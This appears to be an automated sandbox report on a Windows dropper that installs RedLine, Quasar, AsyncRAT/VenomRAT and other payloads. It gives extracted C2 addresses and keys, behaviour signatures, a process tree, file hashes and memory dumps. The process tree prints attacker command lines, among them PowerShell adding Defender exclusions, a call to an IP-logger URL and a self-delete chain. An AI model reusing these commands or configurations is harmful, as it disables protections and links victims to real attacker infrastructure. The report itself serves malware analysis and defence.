Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-10-2024 19:02

General

  • Target

    4363463463464363463463463.exe(3).exe

  • Size

    10KB

  • MD5

    2a94f3960c58c6e70826495f76d00b85

  • SHA1

    e2a1a5641295f5ebf01a37ac1c170ac0814bb71a

  • SHA256

    2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

  • SHA512

    fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

  • SSDEEP

    192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Malware Config

Extracted

Family

redline

Botnet

Pizdun

C2

94.142.138.219:20936

Attributes
  • auth_value

    20a1f7fe6575c6613ee7cc5d3025af70

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

Extazz24535-22930.portmap.host:22930

Mutex

89f58ee5-7af9-42de-843f-2a331a641e3f

Attributes
  • encryption_key

    CD4F349DEB46AEE10C2FE886E5B2BD7A766723CE

  • install_name

    2klz.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

62.113.117.95:4449

Mutex

hwelcvbupaqfzors

Attributes
  • delay

    10

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Redline family
  • VenomRAT 2 IoCs

    Detects VenomRAT - JaffaCakes118.

  • Venomrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 2 IoCs
  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe(3).exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe(3).exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3136
    • C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4000
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c start "" "1.exe" & start "" "2.exe" & start "" "DCRatBuild127.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Users\Admin\AppData\Local\Temp\1.exe
          "1.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4660
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
            "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3860
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 152
            5⤵
            • Program crash
            PID:3596
        • C:\Users\Admin\AppData\Local\Temp\2.exe
          "2.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3028
        • C:\Users\Admin\AppData\Local\Temp\DCRatBuild127.exe
          "DCRatBuild127.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\wincrtDll\Kiq5HCXulld4.vbe"
            5⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5020
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\wincrtDll\3K4aPY2c2MDUmgYCS2.bat" "
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1592
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Invoke-WebRequest -Uri https://iplogger.com/1w25559q45"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2652
    • C:\Users\Admin\AppData\Local\Temp\Files\newfile.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\newfile.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      PID:2020
    • C:\Users\Admin\AppData\Local\Temp\Files\360_.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\360_.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Users\Admin\AppData\Local\Temp\Files\360_.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\360_.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\ProgramData"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2172
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c (ping -n 10 127.0.0.1) & (del /F /Q "C:\Users\Admin\AppData\Local\Temp\Files\360_.exe") & (start "" "C:\ProgramData\ef12ce34.exe")
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:3108
          • C:\Windows\SysWOW64\PING.EXE
            ping -n 10 127.0.0.1
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4004
          • C:\ProgramData\ef12ce34.exe
            "C:\ProgramData\ef12ce34.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4588
            • C:\ProgramData\ef12ce34.exe
              "C:\ProgramData\ef12ce34.exe"
              6⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4052
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\ProgramData"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:436
    • C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:4520
    • C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      PID:2572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
        3⤵
          PID:1312
          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
            clamer.exe -priverdD
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            PID:3452
            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:948
      • C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4276
      • C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2696
        • C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe
          "C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:2212
      • C:\Users\Admin\AppData\Local\Temp\Files\Client.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\Client.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3416
      • C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2788
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4660 -ip 4660
      1⤵
        PID:3476
      • C:\ProgramData\qhaflu\wxha.exe
        C:\ProgramData\qhaflu\wxha.exe
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2420

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2klz.exe.log

        Filesize

        1KB

        MD5

        baf55b95da4a601229647f25dad12878

        SHA1

        abc16954ebfd213733c4493fc1910164d825cac8

        SHA256

        ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

        SHA512

        24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        1KB

        MD5

        4280e36a29fa31c01e4d8b2ba726a0d8

        SHA1

        c485c2c9ce0a99747b18d899b71dfa9a64dabe32

        SHA256

        e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

        SHA512

        494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        ecaeae6e34ade14e56fdfffd5daf8bb7

        SHA1

        6086dfcabef4901482894baf06e6f11b5586abdc

        SHA256

        e110b441429821f04e146df36629730c7abf2f970d9f62022610af8b32e541c3

        SHA512

        6daf86020893e7a328ea9ddfc7a1f4ec26cdb8e427c835b2563e4422a5f753143e50638a7f6703472d9ae18606eb5b2e43a7e26ec52b9322935ace557cebc7e4

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        ee392093f22078e83341de3ff684ed41

        SHA1

        69b9df1a5493684ac4207e61cd436440a4db10bc

        SHA256

        4840ff78dea7308d934e1191e962590f1caa0d666a611430d2d24a36aef55488

        SHA512

        6d0f0376d7b6870f6c391c415ed0f6f409285bf68b5090edb0cf1f4f0a51e75859be22c4d5dc73a6f82a0ed55393f69833d6cc947f9017aef57d22f34f3de06b

      • C:\Users\Admin\AppData\Local\Temp\1.exe

        Filesize

        284KB

        MD5

        95d5aa97a3c15cee24aad800cc169d2b

        SHA1

        2ace4e384316f6aba1a77fbea5a30d73259760d6

        SHA256

        1a56132c232842530d78edb6d0ce387b98995e2912df0075d74db9b2f9aa3770

        SHA512

        5e024d56d44f1de22e201bc91d4a125bc1d3a6f0ef005d6213a5256decd1ff52a8abb77f2fbaa8304dcdeb21e4f4ed4bd0008858e6a2ab5a04943985ab02ddbe

      • C:\Users\Admin\AppData\Local\Temp\2.exe

        Filesize

        1.1MB

        MD5

        1a2b16c17517d602806431c0744f5f8f

        SHA1

        465e2d6bd37972295cd017f78f35faa07102ab4e

        SHA256

        d52c40b759d5c215ab4090e972038dd6bdcad31c56d72d9a25ed6e76f3f952f1

        SHA512

        a5bf48dcdc3bde33d919f5e65c183d5fb12cb671497d990dcce38f353bf6546aa0dd4d258e6c7e5b735a47c532a405eeecb78d146afce4382c5e72b2ccffc4bd

      • C:\Users\Admin\AppData\Local\Temp\DCRatBuild127.exe

        Filesize

        309KB

        MD5

        757123039fc621efee71d41b044d14c5

        SHA1

        d3b5b88f7d5aeddf4994a90b5d888677c31d72b9

        SHA256

        afcaa62dd1e4dddd03a67db6175f406742c7c759b2f919e20a142d8b89554064

        SHA512

        5d910968da586bce3b3ba35727492abcc928abe016265aa17b366b1e4f4c5c1f814f44612595abdfdae2e9a87524e4085aa0151adcdee72f95fc41642beaf4b1

      • C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe

        Filesize

        3.1MB

        MD5

        01cb0e497f40e7d02f93255475f175e1

        SHA1

        98c779497d6514b91cd1410f627a5320f6b3eab5

        SHA256

        15893230cadb8c8fba530903bc2a7e5cb4da78c00d40ea9473963455978c0f95

        SHA512

        fc81504089f520935d95e98ea867faf3dcc44b2399c418fea95f193c45584d72730868ce4362beef4adc5f9a89c008da1fc7a529a35a6cc7803d0ca15f386ef9

      • C:\Users\Admin\AppData\Local\Temp\Files\360_.exe

        Filesize

        200KB

        MD5

        5d026af9171c4bcec7b38ff42b1fb266

        SHA1

        e97563e92862f5284352147ba3de4fca45e11f81

        SHA256

        052cee21bf536d51bcaf66edc262a1c391dea5a941cda58b83bf1eea43037169

        SHA512

        c5fbb96bfb4e9de7ac71ce9595678e9e724a9728bb26085f2e411d29638ffb2e74e3106375a5251b96d01f2007752559a042b22ce4594bda8a0982c588c288ce

      • C:\Users\Admin\AppData\Local\Temp\Files\Client.exe

        Filesize

        31KB

        MD5

        63f444ed65088c9e278ec2e6892899a6

        SHA1

        588c5ca8e39578b9341f7cbaa7bec05af51566c4

        SHA256

        6cb9455b415038c5fe7e6d86677f3751033b0478f7264a171cc7a277ad3b706c

        SHA512

        1859caf0ba1c328142c8910f4504aea0096d55dac286809ae161c827558f60875f76d5840e469644092ecd05891de5da7ef0f492f50f47d8279dd86704a69567

      • C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe

        Filesize

        1.5MB

        MD5

        2d1c174ac5d4a6df46585926e49bbd73

        SHA1

        9fa4fb19a3859a391618ff909c1f0362af579d5d

        SHA256

        3e4df98402da35b9ea2ef9b488b63c8b7bc536b75dd164fd88b50163751bc47c

        SHA512

        484b7e78a843dd66d7945fab7b14e4163f6af06c766508dc744b77984a4cdb14a1290d953915d4d8f3a32acf108583e2991dd90aa503c8fa6dc72115dbed056a

      • C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe

        Filesize

        111KB

        MD5

        c27417453090d3cf9a3884b503d22c49

        SHA1

        17938ece6999bc94d651743063c3f989e38547b4

        SHA256

        d330b3cec745ce7bf9856e3cdce277a52fe7ad09874d519fa7b9b080a61a7407

        SHA512

        27d115974702510f9ef7eb841d359764197429ed9d233f98facec317fdaa8b4ec4e481103d8b950ee2f10711280e7296457107d928603af2174b586233abb443

      • C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe

        Filesize

        278KB

        MD5

        92ae7a1286d992e104c0072f639941f7

        SHA1

        d2c0fe4e7e9df1b4a9a4cd69e3167003e51c73b2

        SHA256

        1771c4e6e34fda6a68c7b1d980cc3dffbe587c651f985bf7235c6af9a8904fd3

        SHA512

        bed93d1e09f576c52b231046cbf9a4ef81ebb2f68eaa6fc7b0eea889418e5f3af440fef5da55882b5535f26d994fdd34c288ba62e7fb033f5bd372cf752bb62b

      • C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe

        Filesize

        108KB

        MD5

        6c1bcf0b1297689c8c4c12cc70996a75

        SHA1

        9d99a2446aa54f00af0b049f54afa52617a6a473

        SHA256

        40dc213fe4551740e12cac575a9880753a9dacd510533f31bd7f635e743a7605

        SHA512

        7edf53adf8db463658aa4a966cf9e22bf28583cb0ca4317af19e90d85232b6cb627e810033155383948d36ad6a1a14f32b3381d10c7cd6c4bd0482c974c129db

      • C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe

        Filesize

        898KB

        MD5

        4c3049f8e220c2264692cb192b741a30

        SHA1

        46c735f574daaa3e6605ef4c54c8189f5722ff2a

        SHA256

        7f74b2c86e9f5706fc44c8d5093a027d1cd5856006aa80f270efae26d55c9131

        SHA512

        b13dc855c3c06b56aa9bf181680b69003839adeaf16c5372912004a7bf42882e340c445c58e24e083692b4dcbb15c3e0cf244664458ccdd0dd7668b440277e0a

      • C:\Users\Admin\AppData\Local\Temp\Files\newfile.exe

        Filesize

        392KB

        MD5

        a896758e32aa41a6b5f04ed92fe87a6c

        SHA1

        e44b9c7bfd9bab712984c887913a01fbddf86933

        SHA256

        7664288e924fecf085d750dbd40c405bd0dbc9d1ed662c5ecf79c636976e867c

        SHA512

        e6ca9818c394fd3cbbb4f21141c40d5cab3c16a82c96435ea1133eabbb44cc954d022dc6cbd13200d08d5ce8d905c3b933b3edf52eeacca858dfd3d6a3866021

      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat

        Filesize

        37B

        MD5

        28151380c82f5de81c1323171201e013

        SHA1

        ae515d813ba2b17c8c5ebdae196663dc81c26d3c

        SHA256

        bb8582ce28db923f243c8d7a3f2eccb0ed25930f5b5c94133af8eefb57a8231d

        SHA512

        46b29cba0dc813de0c58d2d83dc298fa677921fd1f19f41e2ed3c7909c497fab2236d10a9ae59b3f38e49cf167964ede45e15543673a1e0843266242b8e26253

      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

        Filesize

        453KB

        MD5

        fb30b403c1fa1d57fb65dc8b8e00e75c

        SHA1

        161cf9d271aee2d7d2f7a0a5d0001830929c300b

        SHA256

        83d9579e6b71561a9dafbdd309b4dbfaddf816c7ccc25e4672c8d9dfb14b6673

        SHA512

        d0d15e51527bcfad38c01c46b4c43257407ead9c328bc4d48d21c9702c16872e52509e014444e78cd22f1ad96c11a88d281c2a745df0a4ca21243352f879de85

      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

        Filesize

        16KB

        MD5

        e7d405eec8052898f4d2b0440a6b72c9

        SHA1

        58cf7bfcec81faf744682f9479b905feed8e6e68

        SHA256

        b63a0e5f93b26ad0eeb9efba66691f3b7e7f51e93a2f0098bde43833f7a24cc2

        SHA512

        324507084bd56f7102459efe7b3c2d2560f4e89ed03ec4a38539ebb71bccdf1def7bc961c259f9b02f4b2be0d5e095136c9efcd5fc3108af3dc61d24970d6121

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3snaovw.vkq.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\nspC4C8.tmp\86YV86I.dll

        Filesize

        6KB

        MD5

        293165db1e46070410b4209519e67494

        SHA1

        777b96a4f74b6c34d43a4e7c7e656757d1c97f01

        SHA256

        49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

        SHA512

        97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

      • C:\Windows\Tasks\Test Task17.job

        Filesize

        234B

        MD5

        0a9ff4b4aa9f6d7876621d3fb22ea32f

        SHA1

        e4ff35a2bfd97e1fc32a472ccaa80adba359e6c9

        SHA256

        278daab702df8efb208d043a22f8016096ebebc9359d2dd92efa21e29ac3f978

        SHA512

        6a36495079da0b663b475379784af60afe60a65208086fb640f2870aac08fa8be919d0374b24aa3e9c93d630127e3449a53e444b45cfa67dbcb2792911b1bb18

      • C:\wincrtDll\3K4aPY2c2MDUmgYCS2.bat

        Filesize

        28B

        MD5

        816ed385c1604f9b08773ea1397c9080

        SHA1

        c8c1da0c4c8f266d6cb38f06b20de6f3c89c52de

        SHA256

        0df4177eb40b163a3ede52cc20f59921a2a35bca6b4eb4194bcf5a6c6d38a94c

        SHA512

        ebef216d7f43fa36c839cd19475e7cfaf453be9c2ab5e4ecc2ed2f56e1d63469ef1556e39bf0b756f7c5e757139e8b0e50ea5bd362a3477b0e9375832a31ce8e

      • C:\wincrtDll\Kiq5HCXulld4.vbe

        Filesize

        204B

        MD5

        9db591218ed1a50771c7dc7f0e8511e8

        SHA1

        11892f9ece85f7f10efcc561945f4379b0061943

        SHA256

        a99b8c2e6a91764f630ae6783c02119dd1631864a24e6751a068488b19a59116

        SHA512

        0eebd9fe2b9a305511f430a500f5e568b5073b6fc0924f0a75e3a2d1601ed2b6b2d5cb32f56e6b006280507940b876dca4c78827afb81396b6e6c5f15d7880e1

      • memory/436-278-0x000000006F3F0000-0x000000006F43C000-memory.dmp

        Filesize

        304KB

      • memory/436-290-0x0000000007690000-0x00000000076A4000-memory.dmp

        Filesize

        80KB

      • memory/436-276-0x0000000005D10000-0x0000000006064000-memory.dmp

        Filesize

        3.3MB

      • memory/436-288-0x0000000007370000-0x0000000007413000-memory.dmp

        Filesize

        652KB

      • memory/436-289-0x0000000007660000-0x0000000007671000-memory.dmp

        Filesize

        68KB

      • memory/2020-181-0x0000000000910000-0x0000000000978000-memory.dmp

        Filesize

        416KB

      • memory/2172-254-0x0000000007D40000-0x0000000007D5A000-memory.dmp

        Filesize

        104KB

      • memory/2172-245-0x0000000007CC0000-0x0000000007CD1000-memory.dmp

        Filesize

        68KB

      • memory/2172-226-0x00000000062E0000-0x0000000006634000-memory.dmp

        Filesize

        3.3MB

      • memory/2172-241-0x0000000007B00000-0x0000000007B0A000-memory.dmp

        Filesize

        40KB

      • memory/2172-240-0x00000000079D0000-0x0000000007A73000-memory.dmp

        Filesize

        652KB

      • memory/2172-228-0x0000000006D50000-0x0000000006D82000-memory.dmp

        Filesize

        200KB

      • memory/2172-255-0x0000000007D30000-0x0000000007D38000-memory.dmp

        Filesize

        32KB

      • memory/2172-229-0x000000006F3F0000-0x000000006F43C000-memory.dmp

        Filesize

        304KB

      • memory/2172-253-0x0000000007CF0000-0x0000000007D04000-memory.dmp

        Filesize

        80KB

      • memory/2172-252-0x0000000007CE0000-0x0000000007CEE000-memory.dmp

        Filesize

        56KB

      • memory/2172-239-0x0000000006D90000-0x0000000006DAE000-memory.dmp

        Filesize

        120KB

      • memory/2172-243-0x0000000007D60000-0x0000000007DF6000-memory.dmp

        Filesize

        600KB

      • memory/2212-402-0x000000001BD70000-0x000000001BDC0000-memory.dmp

        Filesize

        320KB

      • memory/2212-403-0x000000001BE80000-0x000000001BF32000-memory.dmp

        Filesize

        712KB

      • memory/2652-122-0x0000000005960000-0x0000000005F88000-memory.dmp

        Filesize

        6.2MB

      • memory/2652-187-0x0000000006880000-0x00000000068CC000-memory.dmp

        Filesize

        304KB

      • memory/2652-186-0x0000000006850000-0x000000000686E000-memory.dmp

        Filesize

        120KB

      • memory/2652-132-0x00000000058B0000-0x00000000058D2000-memory.dmp

        Filesize

        136KB

      • memory/2652-133-0x0000000006000000-0x0000000006066000-memory.dmp

        Filesize

        408KB

      • memory/2652-143-0x0000000006290000-0x00000000065E4000-memory.dmp

        Filesize

        3.3MB

      • memory/2652-134-0x0000000006220000-0x0000000006286000-memory.dmp

        Filesize

        408KB

      • memory/2652-119-0x0000000005290000-0x00000000052C6000-memory.dmp

        Filesize

        216KB

      • memory/2652-190-0x0000000006D60000-0x0000000006D7A000-memory.dmp

        Filesize

        104KB

      • memory/2652-189-0x00000000080B0000-0x000000000872A000-memory.dmp

        Filesize

        6.5MB

      • memory/2696-373-0x0000000000030000-0x0000000000354000-memory.dmp

        Filesize

        3.1MB

      • memory/2788-393-0x0000000000170000-0x0000000000192000-memory.dmp

        Filesize

        136KB

      • memory/3028-84-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-68-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-61-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-60-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-59-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-58-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-57-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-56-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-55-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-54-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-53-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-52-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-51-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-50-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-49-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-48-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-63-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-46-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-36-0x0000000000820000-0x0000000000A2B000-memory.dmp

        Filesize

        2.0MB

      • memory/3028-45-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-43-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-42-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-41-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-40-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

